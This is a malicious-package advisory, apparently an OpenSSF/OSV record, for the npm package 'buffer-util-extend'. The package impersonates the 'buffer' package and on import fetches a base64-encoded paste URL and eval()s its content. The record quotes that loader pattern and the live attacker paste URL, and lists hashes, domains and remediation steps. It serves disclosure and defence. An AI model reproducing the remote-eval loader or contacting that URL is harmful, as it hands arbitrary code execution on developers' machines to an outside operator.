-= Per source details. Do not edit below this line.=-
On require/import, index.js decodes a base64 string literal to https://www.jsonkeeper.com/b/CWOV9, fetches that anonymous JSON paste, and passes the response's content field to eval() (index.js:46 stores the base64-encoded URL; index.js:59-65 performs fetch(atob(...)).then(t=>t.json()).then(data => eval(data.content))). Any consumer that requires this package executes whatever JavaScript is currently hosted at the mutable paste URL — full arbitrary code execution on the installer/build machine, with the operator able to swap payloads at any time without republishing the package. The package additionally impersonates the widely-used buffer package: it copies Feross Aboukhadijeh's authorship metadata, homepage https://github.com/feross/buffer, the README references, and the Buffer polyfill source verbatim, while adding unrelated dependencies (axios, request, execp) and the remote-eval payload. Name-confusion against a top-tier npm package combined with concrete import-time RCE makes this a deliberate supply-chain attack.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified 'buffer-util-extend' @ 1.0.8 (npm) as malicious.
It is considered malicious because:
The package communicates with a domain associated with malicious activity.
The package executes one or more commands associated with malicious behavior.
{
"malicious-packages-origins": [
{
"modified_time": "2026-04-14T10:22:11Z",
"versions": [
"1.0.8"
],
"sha256": "cbf9a942d65fe7c78ccee4d48e1122302552eb0aa8b9f442cf7f5eba43496d22",
"source": "ossf-package-analysis",
"import_time": "2026-04-20T04:35:28.875981121Z"
},
{
"modified_time": "2026-04-23T20:43:56Z",
"versions": [
"1.0.8"
],
"sha256": "bcd88e9635418fa888c76ed442537e5c237ae0cd3df5c7b6d3e5ea3bf1a8391f",
"source": "amazon-inspector",
"import_time": "2026-04-23T20:49:14.577571741Z"
},
{
"modified_time": "2026-05-25T16:14:57Z",
"versions": [
"1.0.13"
],
"sha256": "dc95bbeb5e3b59003bef85ab78ffd1e3dc1401e5c3027f35f25cc19f9c54bfc4",
"id": "IN-MAL-2026-004719",
"source": "amazon-inspector",
"import_time": "2026-05-26T05:53:09.167204826Z"
},
{
"import_time": "2026-05-26T05:53:09.261079774Z",
"versions": [
"1.0.13"
],
"sha256": "1f6e6734740a2677b263781db18f7a1f11284aba33560ac6f15d6695cbc3daf5",
"id": "IN-MAL-2026-004720",
"source": "amazon-inspector",
"modified_time": "2026-05-25T16:15:02Z"
},
{
"modified_time": "2026-05-25T15:31:57Z",
"versions": [
"1.0.11"
],
"sha256": "374d8c5c4c32544741d1ea3788cfbccc3ee175f7181f8bdfa71cf4fde44121eb",
"id": "IN-MAL-2026-004705",
"source": "amazon-inspector",
"import_time": "2026-05-26T05:53:07.282384763Z"
},
{
"modified_time": "2026-05-25T15:32:42Z",
"versions": [
"1.0.11"
],
"sha256": "d7c17ae06ae72378d9377d6dd2c24295e6841469b0f3d278f67d33415a3619fd",
"id": "IN-MAL-2026-004706",
"source": "amazon-inspector",
"import_time": "2026-05-26T05:53:07.373019473Z"
},
{
"modified_time": "2026-05-29T12:52:20Z",
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "SEMVER"
}
],
"sha256": "02f401e0ab3531cba5483401d32d2d7eea5db24f589519b5ade0af6eb4c689c7",
"id": "GHSA-g44v-3gq3-j8p6",
"source": "ghsa-malware",
"import_time": "2026-05-29T13:28:09.205173759Z"
}
]
}{
"evidence_files": [
{
"sha256": "259fe955fae02f969363637eb267fa01755fec71c03eaa9d5e7f0cafc7a08015",
"tlsh": "805353022e5251274777b33d984f950efb36e427462688c8b4ac84502fb5964cafbefd",
"path": "index.js"
},
{
"sha256": "caacbc68e308f83502547fdd82ccf2a9e06cf3f91c5d44448e2b8a89d34a61a4",
"tlsh": "8451952bcc9a4c6b0ab467f5a93e1a0af521472f4490480fb5bf1a8d4ff56a7118df1c",
"path": "package.json"
}
],
"domains": [
"www.jsonkeeper.com",
"34.9.16.104.in-addr.arpa",
"ip-api.com"
],
"package_integrity": [
{
"filename": "buffer-util-extend-1.0.13.tgz",
"hashes": {
"sha512_sri": "sha512-It2zAX/NiEJ8CEa1SNEigAsQgtpb/wfRQzMXRXt4ZZxOU6OqrxlAzNswyDOLTYc65X4q6aS/va4osSeHMma+zw==",
"sha1": "d2413a915790c06c65cb238104c62c9d08dfac7e"
}
}
]
}
[
{
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code",
"cweId": "CWE-506"
},
{
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code",
"cweId": "CWE-506"
},
{
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code",
"cweId": "CWE-506"
}
]
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/buffer-util-extend/MAL-2026-2920.json"